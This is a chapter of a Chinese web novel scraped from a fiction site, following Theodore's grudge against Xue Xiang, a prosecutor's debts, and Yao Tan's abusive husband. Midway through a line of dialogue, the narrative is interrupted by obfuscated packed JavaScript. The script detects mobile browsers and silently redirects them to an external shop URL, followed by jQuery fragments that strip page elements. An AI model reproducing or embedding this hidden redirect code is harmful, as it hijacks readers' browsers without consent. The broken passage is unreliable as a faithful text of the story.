文趣网 > 其他小说 > 太阳伤害 > 30. 第 30 章
    “你知道吗?”

    “我一直以来奉行的标准就是:以牙还牙,以眼还眼。”

    “齐二,你的小把戏,我一件一件都记住的。”

    “啊,姐姐,你在说些什么啊?”西奥多微笑着,“我不是一直都爱着你的吗?”

    “一、直、都、爱、着、你。”

    “别怕,我不会抛弃你的。”西奥多的笑容越来越灿烂,“还记得这句话吗?”

    “这是姐姐把我卖了换钱后给我说的最后一句话啊,我也一个字,一个字地记住的。”

    “姐姐还真是沉不住气啊,不过是使了点小手段,你就找上门来了。”

    “可是我的计划才刚刚开始啊,雪缃,你知道我被你卖了之后吃了多少苦头吗!”

    如果要问西奥多这一辈子最错误的决定,那一定就是跟着雪缃逃出了孤儿院。

    “你知道中心二城吗?”

    西奥多几乎全部的记忆都是在孤儿院,这个地方他甚至都没有听过。

    “中心二城就是我们联邦最繁华的地方,有数不尽的美食,舒适的床铺和衣服。”

    “啊,那不是天堂吗?”西奥多呆呆地说。

    “是啊,和天堂没什么区别,所以,齐二,我们一起去中心二城,待着孤儿院,要么被打死,要么被饿死。”

    “还不如跑了,也许我们就能活得幸福了。”

    “真的吗?”

    “当然。”

    在一个月黑风高的夜晚,雪缃和西奥多跑出了孤儿院。

    那个晚上很冷,没有地方睡的两个人就在一颗矮树下凑合了一晚。

    风一直再吹。

    可是雪缃一直抱着他,也就没有那么冷了。

    逃出去的第二天,雪缃带着西奥多去了一个牧师家里,那是他第一次吃了顿饱饭。

    实在是好幸福。

    结果那是厄运的开端。

    真是傻,他真的以为他的命运就要好起来了,他真的以为雪缃真的会带给他幸福。

    然后,雪缃就把他卖给了那个又老又刻薄的牧师。

    她走了,西奥多痛苦流涕地哭喊着求她,声嘶力竭地诅咒她。

    雪缃都没在乎。

    就像他母亲当时抛弃他一样干脆。

    她本来就只打算一个人走的,带着他,只是为了拿他换路费而已。

    “我会还给你的!所有的痛苦!”

    “说完了吗?”

    “齐二,那是报酬啊,那是我在孤儿院里保护你的报酬啊,还记得吗?”雪缃漫不经心地抬头,“不会真以为一只破蝴蝶就把我给打发了吧。”

    “天下有免费的午餐吗?”雪缃无所谓地盯着西奥多。

    “识相的话,就给我老实点。”

    “我可以卖你一次,就能……”

    砰——

    西奥多猛拍桌子,站起身,冷笑着:“我等着你。”

    “到时候,就算你求饶我也不会放过你的。”

    “对了,你那个有赌债的妈怎么样了?”

    雪缃不经意地提起。

    “她早死了,你想干什么。”

    “不干什么,只是为了提醒你,别站在道德高地指责我。”

    “别把你自己说的多可怜。”

    姚昙回到家后,呆呆地依靠着床头。

    今天的聚会,平成月奈拉着她说了好多,爆炸般的信息让姚昙头痛欲裂。

    到底是真的?还是假的?或是一半真一半假?

    慢慢的,姚昙睡着了。

    睡梦中,姚昙回到了和雪缃正式认识的那个雨天下午。

    哗啦哗啦的雨声夹杂着嘈杂的人声。

    轰隆——

    “和我一起走吧。”美丽的少女悄无声息地来到姚昙身边。

    琥珀色的瞳孔盯着她,微微扩大。

    “雪缃真的很喜欢盯着人看啊。”

    “那种眼神,我一开始不明白。”

    “后面我才知道……”

    平成月奈剧烈恐惧的声音在脑海里炸开——

    “那分明是看猎物的眼神!”

    砰——

    惊雷一声。

    姚昙喘着大气,惊醒。

    交感神经极度兴奋,瞳孔扩大。

    韩琦和小张的见面地点选在了学校。

    “最近课程是不是比较多啊?”

    “对。”小张的黑发完全遮住了他的黑眼珠,他驼着背,低着头。

    “你平常有什么娱乐活动吗?”

    “看书。”

    “打工。”

    怎么一个字,一个词的往外蹦……韩琦有些焦躁。

    算了,心急吃不了热豆腐。

    两个人沿着校园里的绿道走着,韩琦没再开口。

    “诶,是小猫。”韩琦蹲下,向草丛里的橘猫招了招手。

    “小……小心。”小张一把扯过韩琦。

    下一秒,那只猫扑了过来。

    “这……这只猫……叫可乐……不亲人……很凶的。”小张扶了扶眼睛。

    “而…且,当时……它……它的瞳孔……已…经放大了,它……是在……狩猎。”

    韩琦抚了抚胸口,刚才着实吓了她一跳。

    “张同学,对流浪猫还挺了解的嘛。”

    “还……好。”小张微微红了脸,“我……只是……会在……冬天……喂它们。”

    再次确认。这位同学真是口吃啊。

    “对了,听许星说,你5月3号请假了是去打工了吗?如果,你还需要钱的话,我可以借给你,反正大家当年都是靠借学贷上的学。”

    “谢……谢你,不用了。我……已经……攒够了。”

    小张继续低着头。

    “对了,说了这么久,还不知道你的名字呢?”韩琦转移了话题。

    “我…叫张峰,山峰……的峰。”

    学贷,压在每一个受过高等教育的bate的身上。

    还了这个月的贷款后,金丽看着所剩无几的账户余额,真不知道这个日子什么时候才能到头。

    检察官平时赚的也不少啊,怎么还是还不完啊……

    要是能再升一级就好了,至少活得不那么拮据了。

    金丽又开始幻想了。

    要是有个人免费帮她还了学贷,你说她能受得了吗?

    “想吃蛋糕吗?”

    金丽连忙摆摆手,“不用,不用。”

    她那里还有闲钱吃蛋糕呢?

    “金丽检察官,不用客气,我请你。”

    诶?谁啊?

    金丽这才转过头,看见了一位黑发浅瞳的omega。

    她温柔地笑着,眼睛看着她。

    是,是菲特先生的未婚妻——雪缃小姐。

    “就当时谢谢金丽检察官深夜还在因为我工作,一点小小的弥补而已。”

    “几块蛋糕而已,不用担心。”

    难怪啊……难怪omega愿意向雪缃小姐求婚啊。

    她这个beta都想向嫁给雪缃小姐了。

    “

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17668823|205901||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    谢谢您。”金丽没有再推脱。

    付完蛋糕钱后,雪缃从手提包里拿出一张请柬。

    “这是我和伊卡洛斯的结婚请柬,5月20号,请金丽检察官一定要参加哦。”

    洁白的请柬上粘贴着白玫瑰,下面是两个人合影,散发着淡淡的香气。

    “诶!这怎么能行呢?”金丽摆手,她这样的小人物参加她超级顶头上司的婚礼……

    还是算了吧。

    “啊,金丽。或许我可以这样叫您。”雪缃将请柬放在金丽手里,“请不要有任何压力,届时,你是作为我的恩人参加的,不是作为伊卡洛斯的下属的哦。”

    “请收下吧。”雪缃无比诚恳。

    看着雪缃的身影完全消失后,金丽打开蛋糕的包装。

    一口下去,清甜的水果、甜蜜的奶油……美味啊!

    什么时候,她才能过上可以毫无顾忌地吃蛋糕的生活啊。

    金丽将请柬放进包里收好。

    “夫人?您醒了吗?”侍女来到姚昙的身边,轻声细语地询问,“夫人,需要沐浴吗?”

    姚昙点了点头。

    “等等,伊克去哪里呢?他还没有回来了吗?”

    “这,伊克先生今天早上就出去了,不过,不知道去了哪里。”侍女恭敬的回答。

    “好。”姚昙让侍女离开了。

    泡在温暖的水中,姚昙紧绷的神经却没有得到任何缓解。

    她的脑子里还是在不停地闪回着梦里的片段。

    那双瞳孔放大的眼睛。

    惊恐和恶心的感觉蔓延胃部。

    泡完澡后,晚饭也准备好了。

    姚昙坐在餐桌前,主位坐的是母亲,伊丽莎白夫人。

    伊克还没回来。

    “姚昙,伊克去哪里呢?”伊丽莎白冷冷开口。

    “伊克今天一早就出门,想来是去办事了。”姚昙低着头。

    “如果连丈夫外出做什么都不知道,这样的妻子难道不是失职的吗?”

    空气安静。

    “抱歉。不过,伊克实在是不允许我过问他出门的事。”姚昙埋着头。

    “我不是怪你啊。但是你知道吗?”伊丽莎白的脸上布满乌云。

    “伊克今天一整天,都混在了妓院里。”

    轰隆——闪电劈开天空。

    姚昙僵硬在座位上,那一股恶心的感觉又蔓延全身。

    “作为妻子,姚昙,你要好好约束他,现在外面有多少人盯着我们。”

    “别忘了,还有那个私生子在虎视眈眈呢。”

    “你们是夫妻。”

    伊丽莎白说完就离开了,独留呆坐在餐桌前的姚昙。

    怎么会?妓院?

    姚昙的头又痛了起来。

    凌晨,姚昙终于等到伊克回家。

    一身酒气中还夹带着劣质的香水味,喝得烂醉如泥。

    “你去哪里呢?”姚昙极力克制住语气中的愤怒,尽力保持着平静。

    “和,和你有什么关系!”伊克推开姚昙,摇摇晃晃地打算走进卧室。

    “我不许你进来,你和别人睡了,还有什么资格进来。”姚昙怒吼着,她真的恶心得要吐了。

    “资格?这整座房子都是我的,你给我滚开。”

    “什么时候轮到你来教育我了。”伊克抓住姚昙的肩膀,使劲一扯。

    姚昙摔倒在地。

    痛,骨头好痛。

    姚昙摔在地上,爬不起来。

    哗啦——大雨倾盆。